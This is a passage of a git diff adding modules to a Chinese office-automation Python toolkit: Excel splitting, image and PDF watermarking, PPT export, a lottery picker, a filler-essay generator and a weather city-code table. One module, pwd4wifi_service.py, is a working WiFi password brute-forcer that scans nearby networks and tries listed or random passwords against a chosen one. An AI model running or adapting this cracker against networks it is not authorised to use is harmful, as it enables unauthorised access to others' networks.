filepath.endswith('.xlsx'): + result = process_xlsx(filepath, column, worksheet_name) + elif filepath.endswith('.xls'): + result = process_xls(filepath, column, worksheet_name) + else: + print("文件格式不对，不进行处理") + return "文件格式不对，不进行处理" + print(result) + return result + + +if __name__ == "__main__": + filename = 'sedemo.xls' + # filename = 'SEdemo.xlsx' + result = split_excel_by_column(filename, 6) # 处理文件，表格的第六列，worksheet_name指定工作表，不指定则读取文件默认工作表 + print(result) diff --git a/office/lib/excel/__init__.py b/office/lib/excel/__init__.py new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/office/lib/image/__init__.py b/office/lib/image/__init__.py new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/office/lib/image/add_watermark_service.py b/office/lib/image/add_watermark_service.py new file mode 100644 index 0000000000000000000000000000000000000000..9ac73079eafdf4fb313722e5580ddf6b8736351b --- /dev/null +++ b/office/lib/image/add_watermark_service.py @@ -0,0 +1,92 @@ + +""" +图片添加水印，参考： +""" + +import math +import os + +from PIL import Image, ImageFont, ImageDraw, ImageEnhance, ImageChops + +TTF_FONT = os.path.dirname(__file__) + "/font/msyh.ttc" + + +def crop_image(im): + '''裁剪图片边缘空白''' + bg = Image.new(mode='RGBA', size=im.size) + bbox = ImageChops.difference(im, bg).getbbox() + if bbox: + return im.crop(bbox) + return im + + +def set_opacity(im, opacity): + '''设置水印透明度''' + assert 0 <= opacity <= 1 + alpha = im.split()[3] + alpha = ImageEnhance.Brightness(alpha).enhance(opacity) + im.putalpha(alpha) + return im + + +def get_mark_img(text, color="#8B8B1B", size=30, opacity=0.15): + """生成水印图片""" + width = len(text) * size + mark = Image.new(mode='RGBA', size=(width, size + 20)) + draw_table = ImageDraw.Draw(im=mark) + draw_table.text(xy=(0, 0), + text=text, + fill=color, + font=ImageFont.truetype(TTF_FONT, size=size)) + del draw_table + # 裁剪空白 + mark = crop_image(mark) + # 透明度 + set_opacity(mark, opacity) + return mark + + +def im_add_mark(im, text, color="#8B8B1B", size=30, opacity=0.15, space=75, angle=30): + """给图片对象添加水印""" + # 获取水印图片对象 + mark = get_mark_img(text, color, size, opacity) + # 将水印图片扩展并旋转生成水印大图 + w, h = im.size + c = int(math.sqrt(w ** 2 + h ** 2)) + mark2 = Image.new(mode='RGBA', size=(c, c)) + y, idx = 0, 0 + mark_w, mark_h = mark.size + while y < c: + x = -int((mark_w + space) * 0.5 * idx) + idx = (idx + 1) % 2 + while x < c: + mark2.paste(mark, (x, y)) + x = x + mark_w + space + y = y + mark_h + space + # 将水印大图旋转一定角度 + mark2 = mark2.rotate(angle) + # 在原图上添加水印大图 + if im.mode != 'RGBA': + im = im.convert('RGBA') + im.paste(mark2, (int((w - c) / 2), int((h - c) / 2)), # 坐标 + mask=mark2.split()[3]) + return im + + +def add_mark2file(imageFile, text, out="output", color="#8B8B1B", size=30, opacity=0.15, space=75, angle=30): + ''' + 添加水印，然后保存图片 + ''' + name = os.path.basename(imageFile) + new_name = os.path.join(out, name) + try: + im = Image.open(imageFile) + image = im_add_mark(im, text, color, size, opacity, space, angle) + if not os.path.exists(out): + os.mkdir(out) + if os.path.splitext(new_name)[1] != '.png': + image = image.convert('RGB') + image.save(new_name) + print(new_name, "保存成功。") + except Exception as e: + print(new_name, "保存失败。错误信息：", e) diff --git a/office/lib/image/eliminate_background.py b/office/lib/image/eliminate_background.py new file mode 100644 index 0000000000000000000000000000000000000000..311a5f6b3c886e7b32a9c79d06ef7e92494800bd --- /dev/null +++ b/office/lib/image/eliminate_background.py @@ -0,0 +1,70 @@ +""" +功能：消除图片背景 +""" + +from PIL import Image + +def _hex_to_rgb(hex): + """ + 十六进制转RGB + """ + if hex[0] != '#' or len(hex) != 7: + print('注意：十六进制格式颜色错误，请输入7位以\'#\'开头的字符串\n') + return None + else: + r = int('0x' + hex[1:3], 16) + g = int('0x' + hex[3:5], 16) + b = int('0x' + hex[5:7], 16) + return (r, g, b) + +def eliminate_bc(src_img_path, save_img_path, margin=30, bc_color=None): + """ + 将图片的背景变成透明色 + 参数： + src_img_path: string, 原始图片存储路径 + margin: int, 和背景颜色的差异值 + bc_color, string or tuple 背景颜色值（十六进制或RGB值） + """ + img = Image.open(src_img_path) + width, height = img.size + + # 获取背景颜色的RGB值 + if bc_color: + # 给定背景色 + if isinstance(bc_color, str): + r, g, b = _hex_to_rgb(bc_color) + else: + r, g, b = bc_color + else: + # 未给定背景色，拾取图片左上角颜色作为背景色 + pix = img.load() + if src_img_path.endswith('.jpg'): + r, g, b = pix[int(width / 20), int(height / 20)] + elif src_img_path.endswith('.png'): + r, g, b, _ = pix[int(width / 20), int(height / 20)] + + img = img.convert("RGBA") + datas = img.getdata() + newData = list() + + # 背景填充零透明度 + for item in datas: + if (item[0] >= max(r - margin, 0) and item[0] <= min(r + margin, 255)) \ + and (item[1] >= max(g - margin, 0) and item[1] <= min(g + margin, 255)) \ + and (item[2] >= max(b - margin, 0) and item[2] <= min(b + margin, 255)): + newData.append((255, 255, 255, 0)) + else: + newData.append(item) + img.putdata(newData) + + # 保存新图片 + img.save(save_img_path, "PNG") + +if __name__ == '__main__': + + # 未设定背景颜色 + eliminate_bc('test.jpg', 'a.png') + + # 设定背景颜色 + # eliminate_bc('test.jpg', 'a.png', bc_color=(255, 255, 255)) + # eliminate_bc('test.jpg', 'a.png', bc_color='#FFFFFF') diff --git a/office/lib/pdf/__init__.py b/office/lib/pdf/__init__.py new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/office/lib/pdf/add_watermark_service.py b/office/lib/pdf/add_watermark_service.py new file mode 100644 index 0000000000000000000000000000000000000000..ddc32f7879a4afafd83ceaaa8389dda44d6b6bf9 --- /dev/null +++ b/office/lib/pdf/add_watermark_service.py @@ -0,0 +1,55 @@ +# -*- coding: utf-8 -*- +import reportlab +from PyPDF2 import PdfFileWriter, PdfFileReader, PdfReader, PdfWriter +from reportlab.pdfgen import canvas +from reportlab.pdfbase.ttfonts import TTFont +from reportlab.pdfbase.pdfmetrics import registerFont +from tqdm import tqdm + + +def create_watermark(content): + """创建PDF水印模板 + """ + # 创建一个PDF文件来作为一个水印文件 + c = canvas.Canvas('watermark.pdf') + reportlab.pdfbase.pdfmetrics.registerFont( + reportlab.pdfbase.ttfonts.TTFont('simfang', 'C:/Windows/Fonts/simfang.ttf')) + c.setFont('simfang', 20) + c.saveState() + c.translate(305, 505) + c.rotate(45) + c.drawCentredString(0, 0, content) + c.restoreState() + c.save() + pdf_watermark = PdfReader('watermark.pdf') + return pdf_watermark + + +def pdf_add_watermark(pdf_file_in, pdf_file_mark, pdf_file_out): + # print(pdf_file_out) + pdf_output = PdfWriter() + input_stream = open(pdf_file_in, 'rb') + pdf_input = PdfReader(input_stream, strict=False) + # 获取PDF文件的页数 + if pdf_input.is_encrypted: + print("文件已被加密") + PDF_Passwd = input("请输入PDF密码：") + # 尝试用空密码解密 + try: + pdf_input.decrypt(PDF_Passwd) + except Exception: + print(f"尝试用密码{PDF_Passwd}解密失败.") + return False + pageNum = len(pdf_input.pages) + # 读入水印pdf文件 + # print(pdf_file_mark) + mark_stream = open(pdf_file_mark, mode='rb') + pdf_watermark = PdfReader(mark_stream, strict=False) + # 给每一页打水印 + for pageNumber in tqdm(range(pageNum)): + page = pdf_input.pages[pageNumber] + page.merge_page(pdf_watermark.pages[0]) + page.compress_content_streams() # 压缩内容 + pdf_output.add_page(page) + with open(pdf_file_out, 'wb') as pdf_file_out_f: + pdf_output.write(pdf_file_out_f) diff --git a/office/lib/ppt/__init__.py b/office/lib/ppt/__init__.py new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/office/lib/ppt/ppt2pdf_service.py b/office/lib/ppt/ppt2pdf_service.py new file mode 100644 index 0000000000000000000000000000000000000000..9ee1b479286b6e4ce766067cc9ed9bc48c03a46a --- /dev/null +++ b/office/lib/ppt/ppt2pdf_service.py @@ -0,0 +1,33 @@ +""" +1. 如何设置编辑器字体的大小? +File(文件)-> Settings(设置) -> Editor(编辑器) -> Font(字体), 修改字体的大小 +2. 注释: 代码的解释说明 +""" + +# 1). 导入需要的模块(打开应用程序的模块) +import win32com.client +import os + + +def ppt2pdf_single(filename, output_filename): + """ + PPT文件导出为pdf格式 + :param filename: PPT文件的名称 + :param output_filename: 导出的pdf文件的名称 + :return: + """ + # 2). 打开PPT程序 + ppt_app = win32com.client.Dispatch('PowerPoint.Application') + # ppt_app.Visible = True # 程序操作应用程序的过程是否可视化 + + # 3). 通过PPT的应用程序打开指定的PPT文件 + # filename = "C:/Users/Administrator/Desktop/PPT办公自动化/ppt/PPT素材1.pptx" + # output_filename = "C:/Users/Administrator/Desktop/PPT办公自动化/ppt/PPT素材1.pdf" + ppt = ppt_app.Presentations.Open(filename) + + # 4). 打开的PPT另存为pdf文件。17数字是ppt转图片，32数字是ppt转pdf。 + ppt.SaveAs(output_filename, 32) + # 退出PPT程序 + ppt_app.Quit() + + diff --git a/office/lib/tools/__init__.py b/office/lib/tools/__init__.py new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/office/lib/tools/lottery8ticket.py b/office/lib/tools/lottery8ticket.py new file mode 100644 index 0000000000000000000000000000000000000000..7793a2c2c87d157621314619d764e79e327af856 --- /dev/null +++ b/office/lib/tools/lottery8ticket.py @@ -0,0 +1,71 @@ +import random + + +def SSL(): + red_ball = random.sample(range(1, 34), 6) + blue_ball = random.sample(range(1, 17), 1) + return f'双色球的号码是：红色球{red_ball}，蓝色球{blue_ball}' + + +def D3(): + pass + + +def SLC(): + pass + + +def CCDLT(): + pass + + +def QXC(): + pass + + +def PL3(): + pass + + +def PL5(): + pass + + +def KL8(): + pass + + +def QWS(): + pass + + +def X_22_5(): + res = random.sample(range(1, 33), 5) # 1到22，不重复的5个数 + return res + + +def X_36_7(): + res = random.sample(range(1, 37), 7) # 1到36，不重复的7个数 + return res + + +def X_26_5(): + res = random.sample(range(1, 27), 5) + return res + + +ticket_kinds = { + "0": ["退出", None], + "1": ["双色球", SSL], + "2": ["福彩3D", D3], + "3": ["七乐彩", SLC], + "4": ["超级大乐透", CCDLT], + "5": ["七星彩", QXC], + "6": ["排列3", PL3], + "7": ["排列5", PL5], + "8": ["快乐8", KL8], + "9": ["七位数", QWS], + "10": ["22选5", X_22_5], + "11": ["36选7", X_36_7], + "12": ["25选5", X_26_5], +} diff --git a/office/lib/tools/pwd4wifi_service.py b/office/lib/tools/pwd4wifi_service.py new file mode 100644 index 0000000000000000000000000000000000000000..8f816422765a01d5c115de73f10925f6353d44da --- /dev/null +++ b/office/lib/tools/pwd4wifi_service.py @@ -0,0 +1,162 @@ +import pywifi +import time +from pywifi import const +import string +import random +import threading + + +# WiFi扫描模块 +def wifi_scan(): + # 初始化wifi + wifi = pywifi.PyWiFi() + # 使用第一个无线网卡 + interface = wifi.interfaces()[0] + # 开始扫描 + interface.scan() + for i in range(4): + time.sleep(1) + print('\r扫描可用 WiFi 中，请稍后。。。（' + str(3 - i), end='）') + print('\r扫描完成！\n' + '-' * 38) + print('\r{:4}{:6}{}'.format('编号', '信号强度', 'wifi名')) + # 扫描结果，scan_results()返回一个集，存放的是每个wifi对象 + bss = interface.scan_results() + # 存放wifi名的集合 + wifi_name_set = set() + for w in bss: + # 解决乱码问题 + wifi_name_and_signal = (100 + w.signal, w.ssid.encode('raw_unicode_escape').decode('utf-8')) + wifi_name_set.add(wifi_name_and_signal) + # 存入列表并按信号排序 + wifi_name_list = list(wifi_name_set) + wifi_name_list = sorted(wifi_name_list, key=lambda a: a[0], reverse=True) + num = 0 + # 格式化输出 + while num < len(wifi_name_list): + print('\r{:<6d}{:<8d}{}'.format(num, wifi_name_list[num][0], wifi_name_list[num][1])) + num += 1 + print('-' * 38) + # 返回wifi列表 + return wifi_name_list + + +# WIFI破解模块 +def wifi_password_crack(wifi_name, pwd_len, pwd_list): + # 创建wifi对象 + wifi = pywifi.PyWiFi() + # 创建网卡对象，为第一个wifi网卡 + interface = wifi.interfaces()[0] + # 断开所有wifi连接 + interface.disconnect() + # 等待其断开 + while interface.status() == 4: + # 当其处于连接状态时，利用循环等待其断开 + pass + # 创建连接文件（对象） + profile = pywifi.Profile() + # wifi名称 + profile.ssid = wifi_name + # 需要认证 + profile.auth = const.AUTH_ALG_OPEN + # wifi默认加密算法 + profile.akm.append(const.AKM_TYPE_WPA2PSK) + profile.cipher = const.CIPHER_TYPE_CCMP + while True: + if pwd_list: + # wifi密码 + for pwd in pwd_list: + profile.key = pwd + # 删除所有wifi连接文件 + interface.remove_all_network_profiles() + # 设置新的wifi连接文件 + tmp_profile = interface.add_network_profile(profile) + # 开始尝试连接 + print(f'\r正在利用密码 {pwd} 尝试破解 ing...') + interface.connect(tmp_profile) + time.sleep(5) + # if time.time() - start_time < 2: + if interface.status() == 4: + print(f'\r连接成功！密码为：{pwd}') + exit(0) + print() + # print(start_time) + # 接口状态为4代表连接成功（当尝试时间大于1.5秒之后则为错误密码，经测试测正确密码一般都在1.5秒内连接，若要提高准确性可以设置为2s或以上，相应暴力破解速度就会变慢） + print(f'{pwd_list}中，没有合适的密码') + else: + # wifi密码 + chars = string.digits + string.ascii_letters + pwd = ''.join(random.sample(chars * 10, pwd_len)) + profile.key = pwd + # 删除所有wifi连接文件 + interface.remove_all_network_profiles() + # 设置新的wifi连接文件 + tmp_profile = interface.add_network_profile(profile) + # 开始尝试连接 + print(f'\r正在利用密码 {pwd} 尝试破解 ing...') + interface.connect(tmp_profile) + time.sleep(5) + # if time.time() - start_time < 2: + if interface.status() == 4: + print(f'\r连接成功！密码为：{pwd}') + exit(0) + print() + # print(start_time) + # 接口状态为4代表连接成功（当尝试时间大于1.5秒之后则为错误密码，经测试测正确密码一般都在1.5秒内连接，若要提高准确性可以设置为2s或以上，相应暴力破解速度就会变慢） + + +# 主函数 +def pwd4wifi_service(pwd_len, pwd_list): + # 退出标致 + exit_flag = 0 + # 目标编号 + target_num = -1 + while not exit_flag: + try: + print('WiFi密码破解'.center(35, '-')) + # 调用扫描模块，返回一个排序后的wifi列表 + wifi_list = wifi_scan() + # 让用户选择要破解的wifi编号，并对用户输入的编号进行判断和异常处理 + choose_exit_flag = 0 + while not choose_exit_flag: + try: + target_num = int(input('请选择你要尝试破解的wifi：')) + # 如果要选择的wifi编号在列表内，继续二次判断，否则重新输入 + if target_num in range(len(wifi_list)): + # 二次确认 + while not choose_exit_flag: + try: + choose = str(input(f'你选择要破解的WiFi名称是：{wifi_list[target_num][1]}，确定吗？（Y/N）')) + # 对用户输入进行小写处理，并判断 + if choose.lower() == 'y': + choose_exit_flag = 1 + elif choose.lower() == 'n': + break + # 处理用户其它字母输入 + else: + print('只能输入 Y/N 哦o(*￣︶￣*)o') + # 处理用户非字母输入 + except ValueError: + print('只能输入 Y/N 哦o(*￣︶￣*)o') + # 退出破解 + if choose_exit_flag == 1: + break + else: + print('请重新输入哦(*^▽^*)') + except ValueError: + print('只能输入数字哦o(*￣︶￣*)o') + # 密码破解，传入用户选择的wifi名称 + # 第一个参数是方法，第二个参数是方法的参数 + # t1 = threading.Thread(target=wifi_password_crack, args=(wifi_list[target_num][1], pwd_len,)) # target是要执行的函数名（不是函数），args是函数对应的参数，以元组的形式存在 + # t2 = threading.Thread(target=wifi_password_crack, args=(wifi_list[target_num][1], pwd_len,)) # target是要执行的函数名（不是函数），args是函数对应的参数，以元组的形式存在 + # t1.start() + # t2.start() + wifi_password_crack(wifi_list[target_num][1], pwd_len, pwd_list) + print('-' * 38) + exit_flag = 1 + except Exception as e: + print(e) + raise e + + +if __name__ == '__main__': + pwd4wifi_service(pwd_len=8) diff --git a/office/lib/tools/qoute_dict_create_article.py b/office/lib/tools/qoute_dict_create_article.py new file mode 100644 index 0000000000000000000000000000000000000000..9c767a23d562b3eea6feeee2cffb69bc8b5d5e58 --- /dev/null +++ b/office/lib/tools/qoute_dict_create_article.py @@ -0,0 +1,222 @@ +qoute = { + "title": "学生会退会", + "famous": [ + "爱迪生a，天才是百分之一的勤奋加百分之九十九的汗水。b", + "查尔斯·史a，一个人几乎可以在任何他怀有无限热忱的事情上成功。b", + "培根说过，深窥自己的心，而后发觉一切的奇迹在你自己。b", + "歌德曾经a，流水在碰到底处时才会释放活力。b", + "莎士比亚a，那脑袋里的智慧，就像打火石里的火花一样，不去打它是不肯出来的。b", + "戴尔·卡耐基a，多数人都拥有自己不了解的能力和机会，都有可能做到未曾梦想的事情。b", + "白哲特a，坚强的信念能赢得强者的心，并使他们变得更坚强。b", + "伏尔泰a, 不经巨大的困难，不会有伟大的事业。b", + "富勒曾经a, 苦难磨炼一些人，也毁灭另一些人。b", + "文森特·皮尔a, 改变你的想法，你就改变了自己的世界。b", + "拿破仑·希尔a, 不要等待，时机永远不会恰到好处。b", + "塞涅卡a, 生命如同寓言，其价值不在与长短，而在与内容。b", + "奥普拉·温弗瑞a, 你相信什么，你就成为什么样的人。b", + "吕凯特a, 生命不可能有两次，但许多人连一次也不善于度过。b", + "莎士比亚a, 人的一生是短的，但如果卑劣地过这一生，就太长了。b", + "笛卡儿a, 我的努力求学没有得到别的好处，只不过是愈来愈发觉自己的无知。b", + "左拉a, 生活的道路一旦选定，就要勇敢地走到底，决不回头。b", + "米歇潘a, 生命是一条艰险的峡谷，只有勇敢的人才能通过。b", + "吉姆·罗恩a, 要么你主宰生活，要么你被生活主宰。b", + "日本谚语a, 不幸可能成为通向幸福的桥梁。b", + "海贝尔a, 人生就是学校。在那里，与其说好的教师是幸福，不如说好的教师是不幸。b", + "杰纳勒尔·乔治·S·巴顿a, 接受挑战，就可以享受胜利的喜悦。b", + "德谟克利特a, 节制使快乐增加并使享受加强。b", + "裴斯泰洛齐a, 今天应做的事没有做，明天再早也是耽误了。b", + "歌德a, 决定一个人的一生，以及整个命运的，只是一瞬之间。b", + "卡耐基a, 一个不注意小事情的人，永远不会成就大事业。b", + "卢梭a, 浪费时间是一桩大罪过。b", + "康德a, 既然我已经踏上这条道路，那么，任何东西都不应妨碍我沿着这条路走下去。b", + "克劳斯·莫瑟爵士a, 教育需要花费钱，而无知也是一样。b", + "伏尔泰a, 坚持意志伟大的事业需要始终不渝的精神。b", + "亚伯拉罕·林肯a, 你活了多少岁不算什么，重要的是你是如何度过这些岁月的。b", + "韩非a, 内外相应，言行相称。b", + "富兰克林a, 你热爱生命吗？那么别浪费时间，因为时间是组成生命的材料。b", + "马尔顿a, 坚强的信心，能使平凡的人做出惊人的事业。b", + "笛卡儿a, 读一切好书，就是和许多高尚的人谈话。b", + "塞涅卡a, 真正的人生，只有在经过艰难卓绝的斗争之后才能实现。b", + "易卜生a, 伟大的事业，需要决心，能力，组织和责任感。b", + "歌德a, 没有人事先了解自己到底有多大的力量，直到他试过以后才知道。b", + "达尔文a, 敢于浪费哪怕一个钟头时间的人，说明他还不懂得珍惜生命的全部价值。b", + "佚名a, 感激每一个新的挑战，因为它会锻造你的意志和品格。b", + "奥斯特洛夫斯基a, 共同的事业，共同的斗争，可以使人们产生忍受一切的力量。　b", + "苏轼a, 古之立大事者，不惟有超世之才，亦必有坚忍不拔之志。b", + "王阳明a, 故立志者，为学之心也；为学者，立志之事也。b", + "歌德a, 读一本好书，就如同和一个高尚的人在交谈。b", + "乌申斯基a, 学习是劳动，是充满思想的劳动。b", + "别林斯基a, 好的书籍是最贵重的珍宝。b", + "富兰克林a, 读书是易事，思索是难事，但两者缺一，便全无用处。b", + "鲁巴金a, 读书是在别人思想的帮助下，建立起自己的思想。b", + "培根a, 合理安排时间，就等于节约时间。b", + "屠格涅夫a, 你想成为幸福的人吗？但愿你首先学会吃得起苦。b", + "莎士比亚a, 抛弃时间的人，时间也抛弃他。b", + "叔本华a, 普通人只想到如何度过时间，有才能的人设法利用时间。b", + "博a, 一次失败，只是证明我们成功的决心还够坚强。 维b", + "拉罗什夫科a, 取得成就时坚持不懈，要比遭到失败时顽强不屈更重要。b", + "莎士比亚a, 人的一生是短的，但如果卑劣地过这一生，就太长了。b", + "俾斯麦a, 失败是坚忍的最后考验。b", + "池田大作a, 不要回避苦恼和困难，挺起身来向它挑战，进而克服它。b", + "莎士比亚a, 那脑袋里的智慧，就像打火石里的火花一样，不去打它是不肯出来的。b", + "希腊a, 最困难的事情就是认识自己。b", + "黑塞a, 有勇气承担命运这才是英雄好汉。b", + "非洲a, 最灵繁的人也看不见自己的背脊。b", + "培根a, 阅读使人充实，会谈使人敏捷，写作使人精确。b", + "斯宾诺莎a, 最大的骄傲于最大的自卑都表示心灵的最软弱无力。b", + "西班牙a, 自知之明是最难得的知识。b", + "塞内加a, 勇气通往天堂，怯懦通往地狱。b", + "赫尔普斯a, 有时候读书是一种巧妙地避开思考的方法。b", + "笛卡儿a, 阅读一切好书如同和过去最杰出的人谈话。b", + "邓拓a, 越是没有本领的就越加自命不凡。b", + "爱尔兰a, 越是无能的人，越喜欢挑剔别人的错儿。b", + "老子a, 知人者智，自知者明。胜人者有力，自胜者强。b", + "歌德a, 意志坚强的人能把世界放在手中像泥块一样任意揉捏。b", + "迈克尔·F·斯特利a, 最具挑战性的挑战莫过于提升自我。b", + "爱迪生a, 失败也是我需要的，它和成功对我一样有价值。b", + "罗素·贝克a, 一个人即使已登上顶峰，也仍要自强不息。b", + "马云a, 最大的挑战和突破在于用人，而用人最大的突破在于信任人。b", + "雷锋a, 自己活着，就是为了使别人过得更美好。b", + "布尔沃a, 要掌握书，莫被书掌握；要为生而读，莫为读而生。b", + "培根a, 要知道对好事的称颂过于夸大，也会招来人们的反感轻蔑和嫉妒。b", + "莫扎特a, 谁和我一样用功，谁就会和我一样成功。b", + "马克思a, 一切节省，归根到底都归结为时间的节省。b", + "莎士比亚a, 意志命运往往背道而驰，决心到最后会全部推倒。b", + "卡莱尔a, 过去一切时代的精华尽在书中。b", + "培根a, 深窥自己的心，而后发觉一切的奇迹在你自己。b", + "罗曼·罗兰a, 只有把抱怨环境的心情，化为上进的力量，才是成功的保证。b", + "孔子a, 知之者不如好之者，好之者不如乐之者。b", + "达·芬奇a, 大胆和坚定的决心能够抵得上武器的精良。b", + "叔本华a, 意志是一个强壮的盲人，倚靠在明眼的跛子肩上。b", + "黑格尔a, 只有永远躺在泥坑里的人，才不会再掉进坑里。b", + "普列姆昌德a, 希望的灯一旦熄灭，生活刹那间变成了一片黑暗。b", + "维龙a, 要成功不需要什么特别的才能，只要把你能做的小事做得好就行了。b", + "郭沫若a, 形成天才的决定因素应该是勤奋。b", + "洛克a, 学到很多东西的诀窍，就是一下子不要学很多。b", + "西班牙a, 自己的鞋子，自己知道紧在哪里。b", + "拉罗什福科a, 我们唯一不会改正的缺点是软弱。b", + "亚伯拉罕·林肯a, 我这个人走得很慢，但是我从不后退。b", + "美华纳a, 勿问成功的秘诀为何，且尽全力做你应该做的事吧。b", + "俾斯麦a, 对于不屈不挠的人来说，没有失败这回事。b", + "阿卜·日·法拉兹a, 学问是异常珍贵的东西，从任何源泉吸收都不可耻。b", + "白哲特a, 坚强的信念能赢得强者的心，并使他们变得更坚强。 b", + "查尔斯·史考伯a, 一个人几乎可以在任何他怀有无限热忱的事情上成功。 b", + "贝多芬a, 卓越的人一大优点是：在不利与艰难的遭遇里百折不饶。b", + "莎士比亚a, 本来无望的事，大胆尝试，往往能成功。b", + "卡耐基a, 我们若已接受最坏的，就再没有什么损失。b", + "德国a, 只有在人群中间，才能认识自己。b", + "史美尔斯a, 书籍把我们引入最美好的社会，使我们认识各个时代的伟大智者。b", + "冯学峰a, 当一个人用工作去迎接光明，光明很快就会来照耀着他。b", + "吉格·金克拉a, 如果你能做梦，你就能实现它。b" + ], + "bosh": [ + "现在, 解决x的问题, 是非常非常重要的. 所以, ", + "我们不得不面对一个非常尴尬的事实, 那就是, ", + "x的发生, 到底需要如何做到, 不x的发生, 又会如何产生. ", + "而这些并不是完全重要, 更加重要的问题是, ", + "x, 到底应该如何实现. ", + "带着这些问题, 我们来审视一下x. ", + "所谓x, 关键是x需要如何写. ", + "我们一般认为, 抓住了问题的关键, 其他一切则会迎刃而解.", + "问题的关键究竟为何? ", + "x因何而发生?", + "每个人都不得不面对这些问题. 在面对这种问题时, ", + "一般来讲, 我们都必须务必慎重的考虑考虑. ", + "要想清楚, x, 到底是一种怎么样的存在. ", + "了解清楚x到底是一种怎么样的存在, 是解决一切问题的关键.", + "就我个人来说, x对我的意义, 不能不说非常重大. ", + "本人也是经过了深思熟虑,在每个日日夜夜思考这个问题. ", + "x, 发生了会如何, 不发生又会如何. ", + "在这种困难的抉择下, 本人思来想去, 寝食难安.", + "生活中, 若x出现了, 我们就不得不考虑它出现了的事实. ", + "这种事实对本人来说意义重大, 相信对这个世界也是有一定意义的.", + "我们都知道, 只要有意义, 那么就必须慎重考虑.", + "既然如此, ", + "那么, ", + "我认为, ", + "一般来说, ", + "总结的来说, ", + "既然如何, ", + "经过上述讨论, ", + "这样看来, ", + "从这个角度来看, ", + "我们不妨可以这样来想: ", + "这是不可避免的. ", + "可是，即使是这样，x的出现仍然代表了一定的意义. ", + "x似乎是一种巧合，但如果我们从一个更大的角度看待问题，这似乎是一种不可避免的事实. ", + "在这种不可避免的冲突下，我们必须解决这个问题. ", + "对我个人而言，x不仅仅是一个重大的事件，还可能会改变我的人生. " + ], + "after": [ + "这不禁令我深思. ", + "带着这句话, 我们还要更加慎重的审视这个问题: ", + "这启发了我. ", + "我希望诸位也能好好地体会这句话. ", + "这句话语虽然很短, 但令我浮想联翩. ", + "这句话看似简单，但其中的阴郁不禁让人深思. ", + "这句话把我们带到了一个新的维度去思考这个问题: ", + "这似乎解答了我的疑惑. " + ], + "before": [ + "曾经说过", + "在不经意间这样说过", + "说过一句著名的话", + "曾经提到过", + "说过一句富有哲理的话" + ] +} + +import random + +data = qoute +qoute_list = data["famous"] # a 代表前面垫话，b代表后面垫话 +prefix_line = data["before"] # 在名人名言前面弄点废话 +post_line = data['after'] # 在名人名言后面弄点废话 +line = data['bosh'] # 代表文章主要废话来源 + +theme = "学生会退会" + +repeatability = 2 + + +def create_article_shuffle(demo_list): + global repeatability + repeatability_pools = list(demo_list) * repeatability + while True: + random.shuffle(repeatability_pools) + for repeatability_item in repeatability_pools: + yield repeatability_item + + +next_line = create_article_shuffle(line) +next_qoute = create_article_shuffle(qoute_list) + + +def create_article_get_qoute(): + global next_qoute + theme = next(next_qoute) + theme = theme.replace("a", random.choice(prefix_line)) + theme = theme.replace("b", random.choice(post_line)) + return theme + + +def create_article_next_para(): + theme = ". " + theme += "\r\n" + theme += " " + return theme + + +def create_article_main(theme, line_num): + for x in theme: + tmp = str() + while (len(tmp) < line_num): + branches = random.randint(0, 100) + if branches < 5: + tmp += create_article_next_para() + elif branches < 20: + tmp += create_article_get_qoute() + else: + tmp += next(next_line) + tmp = tmp.replace("x", theme) + print(tmp) diff --git a/office/lib/tools/weather_city_code.py b/office/lib/tools/weather_city_code.py new file mode 100644 index 0000000000000000000000000000000000000000..aa154ba19c2ad2f8c3ddba792af441e620b413a2 --- /dev/null +++ b/office/lib/tools/weather_city_code.py @@ -0,0 +1,858 @@ +WEATHER_CITY_CODE_DIC = {'北京': 101010100, '海淀': 101010200, '朝阳': 101071201, '顺义': 101010400, '怀柔': 101010500, + '通州': 101190509, + '昌平': 101010700, '延庆': 101010800, '丰台': 101010900, '石景山': 101011000, '大兴': 101011100, + '房山': 101011200, + '密云': 101011300, '门头沟': 101011400, '平谷': 101011500, '八达岭': 101011600, '佛爷顶': 101011700, + '汤河口': 101011800, + '密云上甸子': 101011900, '斋堂': 101012000, '霞云岭': 101012100, '上海': 101020100, '闵行': 101020200, + '宝山': 101020300, + '川沙': 101020400, '嘉定': 101020500, '南汇': 101020600, '金山': 101230508, '青浦': 101020800, + '松江': 101060310, + '奉贤': 101021000, '崇明': 101021100, '陈家镇': 101021101, '引水船': 101021102, '徐家汇': 101021200, + '浦东': 101021300, + '天津': 101030100, '武清': 101030200, '宝坻': 101030300, '东丽': 101030400, '西青': 101030500, + '北辰': 101030600, + '宁河': 101030700, '汉沽': 101030800, '静海': 101030900, '津南': 101031000, '塘沽': 101031100, + '大港': 101031200, + '平台': 101031300, '蓟县': 101031400, '重庆': 101040100, '永川': 101040200, '合川': 101040300, + '南川': 101040400, + '江津': 101040500, '万盛': 101040600, '渝北': 101040700, '北碚': 101040800, '巴南': 101040900, + '长寿': 101041000, + '黔江': 101041100, '万州天城': 101041200, '万州龙宝': 101041300, '涪陵': 101041400, '开县': 101041500, + '城口': 101041600, + '云阳': 101041700, '巫溪': 101041800, '奉节': 101041900, '巫山': 101042000, '潼南': 101042100, + '垫江': 101042200, + '梁平': 101042300, '忠县': 101042400, '石柱': 101042500, '大足': 101042600, '荣昌': 101042700, + '铜梁': 101042800, + '璧山': 101042900, '丰都': 101043000, '武隆': 101043100, '彭水': 101043200, '綦江': 101043300, + '酉阳': 101043400, + '金佛山': 101043500, '秀山': 101043600, '沙坪坝': 101043700, '哈尔滨': 101050101, '双城': 101050102, + '呼兰': 101050103, + '阿城': 101050104, '宾县': 101050105, '依兰': 101050106, '巴彦': 101050107, '通河': 101050108, + '方正': 101050109, + '延寿': 101050110, '尚志': 101050111, '五常': 101050112, '木兰': 101050113, '齐齐哈尔': 101050201, + '讷河': 101050202, + '龙江': 101050203, '甘南': 101050204, '富裕': 101050205, '依安': 101050206, '拜泉': 101050207, + '克山': 101050208, + '克东': 101050209, '泰来': 101050210, '牡丹江': 101050301, '海林': 101050302, '穆棱': 101050303, + '林口': 101050304, + 